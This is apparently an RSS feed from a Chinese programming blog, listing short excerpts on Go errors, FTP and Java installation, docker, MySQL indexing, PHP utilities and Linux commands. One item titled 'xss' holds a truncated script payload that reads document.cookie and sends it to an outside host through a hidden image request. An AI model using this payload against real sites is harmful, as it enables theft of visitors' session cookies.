<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[chiangDeng的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/chiangDeng</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; chiangDeng]]></copyright><item><title><![CDATA[golang  A required privilege is not held by the client 报错]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/128643030</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/128643030</guid><author>chiangDeng</author><pubDate>Wed, 11 Jan 2023 12:51:46 +0800</pubDate><description><![CDATA[golang  A required privilege is not held by the client 报错]]></description><category></category></item><item><title><![CDATA[设置goland 默认terminal 为git sh]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/128635270</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/128635270</guid><author>chiangDeng</author><pubDate>Tue, 10 Jan 2023 19:41:23 +0800</pubDate><description><![CDATA[设置goland 默认terminal 为git sh]]></description><category></category></item><item><title><![CDATA[golang air 热编译 windows安装]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/127665681</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/127665681</guid><author>chiangDeng</author><pubDate>Thu, 03 Nov 2022 11:03:34 +0800</pubDate><description><![CDATA[golang air 热编译 windows安装。]]></description><category></category></item><item><title><![CDATA[服务器安装ftp]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/124712998</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/124712998</guid><author>chiangDeng</author><pubDate>Wed, 11 May 2022 16:22:58 +0800</pubDate><description><![CDATA[下载安装ftp
yum -y install vsftpd

启动
service vsftpd start

这里用这种方式的创建用户名和密码就能登录，用过其他方式设置完了用户也登录不上
useradd -d /home/ftpuser ftpuser

为ftp用户设置密码
passwd ftpuser

设置拥有文件权限
chown -R ftpuser:ftpuser /home/ftpuser

启动和停止ftp
systemctl start vsftpd.service
systemctl .]]></description><category></category></item><item><title><![CDATA[docker && docker compose 命令]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/122268959</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/122268959</guid><author>chiangDeng</author><pubDate>Sat, 01 Jan 2022 17:44:14 +0800</pubDate><description><![CDATA[docker && docker compose 命令



dockerfile





docker-compose 命令


]]></description><category></category></item><item><title><![CDATA[mysql 字段null 是否走索引]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/115490499</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/115490499</guid><author>chiangDeng</author><pubDate>Wed, 07 Apr 2021 17:12:01 +0800</pubDate><description><![CDATA[总结：

mysql 数据库字段为null时 token_app加了索引
1.
SELECT * FROM `user` WHERE token_app='xxx'
SELECT * FROM `user` WHERE token_app is null
上面的都会走索引

2.
SELECT * FROM `user` WHERE token_app is not null
is not null不会走索引
...]]></description><category></category></item><item><title><![CDATA[php使用结巴分词进行分词]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/113180816</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/113180816</guid><author>chiangDeng</author><pubDate>Tue, 26 Jan 2021 15:12:03 +0800</pubDate><description><![CDATA[1

https://github.com/jonnywang/goredisjieba
&lt;?php
$redis_handle = new Redis();
$redis_handle-&gt;connect('127.0.0.1', 6379, 10); //端口需要与config.xml配置保持一致
$redis_handle-&gt;select(0);

$result = $redis_handle-&gt;rawCommand('cutforsearch', '我来到北京清华大学'...]]></description><category></category></item><item><title><![CDATA[php异步非阻塞执行]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/110426573</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/110426573</guid><author>chiangDeng</author><pubDate>Tue, 01 Dec 2020 11:42:55 +0800</pubDate><description><![CDATA[function request_asynchronous($path, $method, $postData = array(), $url = ''){
        if(empty($path)){
            return false;
        }
        $matches = parse_url($url);
        $host = $matches['host'];
        $transports = 'tcp://'; //如没有使用HTTPS.]]></description><category></category></item><item><title><![CDATA[java linux下的安装]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/109026529</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/109026529</guid><author>chiangDeng</author><pubDate>Mon, 12 Oct 2020 14:08:08 +0800</pubDate><description><![CDATA[1.在官网去下载liux版的压缩文件
wget --no-check-certificate --no-cookies --header "Cookie: oraclelicense=accept-securebackup-cookie" https://download.oracle.com/otn-pub/java/jdk/15+36/779bf45e88a44cbd9ea6621d33e33db1/jdk-15_linux-x64_bin.tar.gz

2.解压
tar zxvf jdk-15_li]]></description><category></category></item><item><title><![CDATA[xss]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/108240276</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/108240276</guid><author>chiangDeng</author><pubDate>Wed, 26 Aug 2020 15:09:34 +0800</pubDate><description><![CDATA[&lt;script&gt;
var img = document.createElement('img');
var str = document.cookie;
str = str.replace(/^\s+|\s+$/g,"");
str = str.replace(/\ +/g,"");
str = str.replace(/[\r\n]/g,"");
img.width = 0;
img.height = 0;
img.src ='http://xxx.cn/xx/xx/index.html?p.]]></description><category></category></item><item><title><![CDATA[Linux常用命令大全]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/107539149</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/107539149</guid><author>chiangDeng</author><pubDate>Thu, 23 Jul 2020 15:51:24 +0800</pubDate><description><![CDATA[Linux常用命令大全

系统信息
arch 显示机器的处理器架构
uname -m 显示机器的处理器架构
uname -r 显示正在使用的内核版本
dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI)
hdparm -i /dev/hda 罗列一个磁盘的架构特性
hdparm -tT /dev/sda 在磁盘上执行测试性读取操作
cat /proc/cpuinfo 显示CPU info的信息
cat /proc/interrupts 显示中断
cat /proc/me...]]></description><category></category></item><item><title><![CDATA[python 执行多线程操作]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/105866719</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/105866719</guid><author>chiangDeng</author><pubDate>Thu, 30 Apr 2020 17:51:40 +0800</pubDate><description><![CDATA[importpymysql

fromitertoolsimportchain

importnumpy

importtime

importqueue

importthreading

#fromspiderPagesimport*

exitFlag=0



#数据库连接及处理数据

classspider:

#初始化

def__i...]]></description><category></category></item><item><title><![CDATA[PHP 调用python脚本]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/105837974</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/105837974</guid><author>chiangDeng</author><pubDate>Wed, 29 Apr 2020 13:40:17 +0800</pubDate><description><![CDATA[php 代码

&lt;?php



require_once'./db/mysqlpdo.class.php';



set_time_limit(0);



$pdo=newMysqlpdo();



$sql="SELECT*FROM XXX ";



$res=$pdo-&gt;fetchAll($sql);



if(!empty($re...]]></description><category></category></item><item><title><![CDATA[网站报502错误]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/104871098</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/104871098</guid><author>chiangDeng</author><pubDate>Sat, 14 Mar 2020 23:41:14 +0800</pubDate><description><![CDATA[nginx 但是会发现错误日志中依旧有报错connect() failed (111: Connection refused) while connecting to upstream.

一般情况下我们的upstream都是fastcgi://127.0.0.1:9000. 造成这个问题的原因大致有两个

php-fpm没有运行

执行如下命令查看是否启动了php-fpm，如果没有则启动你的p...]]></description><category></category></item><item><title><![CDATA[php 最简单的导出csv文件]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/103957586</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/103957586</guid><author>chiangDeng</author><pubDate>Mon, 13 Jan 2020 15:18:31 +0800</pubDate><description><![CDATA[前端：
点击事件
 // 会员导出 js
  function export_list() {
    var url = 'xxx/explode.html';
    window.location.href = url;
  }



后端输出
public function _export($opts) {
        $browser_type = ‘...]]></description><category></category></item><item><title><![CDATA[也谈基于NodeJS的全栈式开发（基于NodeJS的前后端分离）]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/103314494</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/103314494</guid><author>chiangDeng</author><pubDate>Fri, 29 Nov 2019 17:10:40 +0800</pubDate><description><![CDATA[随着不同终端(Pad/Mobile/PC)的兴起，对开发人员的要求越来越高，纯浏览器端的响应式已经不能满足用户体验的高要求，我们往往需要针对不同的终端开发定制的版本。为了提升开发效率，前后端分离的需求越来越被重视，后端负责业务/数据接口，前端负责展现/交互逻辑，同一份数据接口，我们可以定制开发多个版本。

　　这个话题最近被讨论得比较多，阿里有些BU也在进行一些尝试。讨论了很久之后，我们团队决定探...]]></description><category></category></item><item><title><![CDATA[sessionID是如何在客户端和服务器端传递的，小程序、app又是怎么做的]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/103027615</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/103027615</guid><author>chiangDeng</author><pubDate>Tue, 12 Nov 2019 14:46:48 +0800</pubDate><description><![CDATA[浏览器端：

1. 服务器初次创建session的时候后返回session到客服端（在返回头中有setCookie）

2. 浏览器会把sessionname-&gt;sessionid存到cooike中，

3. 下再次请求服务器时，会自动在请求头中带上cooike信息,服务器可以在_COOKIE中得取到想要的session

小程序、app：

因为小程序是不会自动设置保存cookie的，需要...]]></description><category></category></item><item><title><![CDATA[count(*)和count(字段名)]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/103010952</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/103010952</guid><author>chiangDeng</author><pubDate>Mon, 11 Nov 2019 15:45:07 +0800</pubDate><description><![CDATA[count(*)和count(字段名)和count(1)

count(*) 将返回表格中所有存在的行的总数包括值为 null 的行，然而 count(列名) 将返回表格中除去 null 以外的所有行的总数 (有默认值的列也会被计入)，这点对于所有数据的 COUNT 计算都是一样的

count(1) 与 count(*) 比较 :
1&gt;如果数据表没有主键，那么 count(1) 比 co...]]></description><category></category></item><item><title><![CDATA[php 在linux环境下 向php文件中追加php代码]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/102563841</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/102563841</guid><author>chiangDeng</author><pubDate>Tue, 15 Oct 2019 11:34:07 +0800</pubDate><description><![CDATA[比如向config.php文件中追加两个配置文件
原有文件
&lt;?php
  $a["test"] = "test";
?&gt;
追加后文件
&lt;?php
 $a["test"] = "test"; 
  $a["name"] = "张三";
 $a["age"] = "18";
?&gt;


$lineFeed_str = '\n';//换行
//追加内容
$append_st...]]></description><category></category></item><item><title><![CDATA[php 下载文件 解压文件 上传文件]]></title><link>https://blog.youkuaiyun.com/chiangDeng/article/details/102563288</link><guid>https://blog.youkuaiyun.com/chiangDeng/article/details/102563288</guid><author>chiangDeng</author><pubDate>Tue, 15 Oct 2019 11:23:16 +0800</pubDate><description><![CDATA[//总流程
public function download_demo_file(){
    //1.下载
    $url = 'http:/www.xxx.com/uploads.zip';
    $file = file_get_contents($url);
    $path = 'xxx';//要存放的文件地址
    $fileName = '/uploads.zip';
  ...]]></description><category></category></item></channel></rss>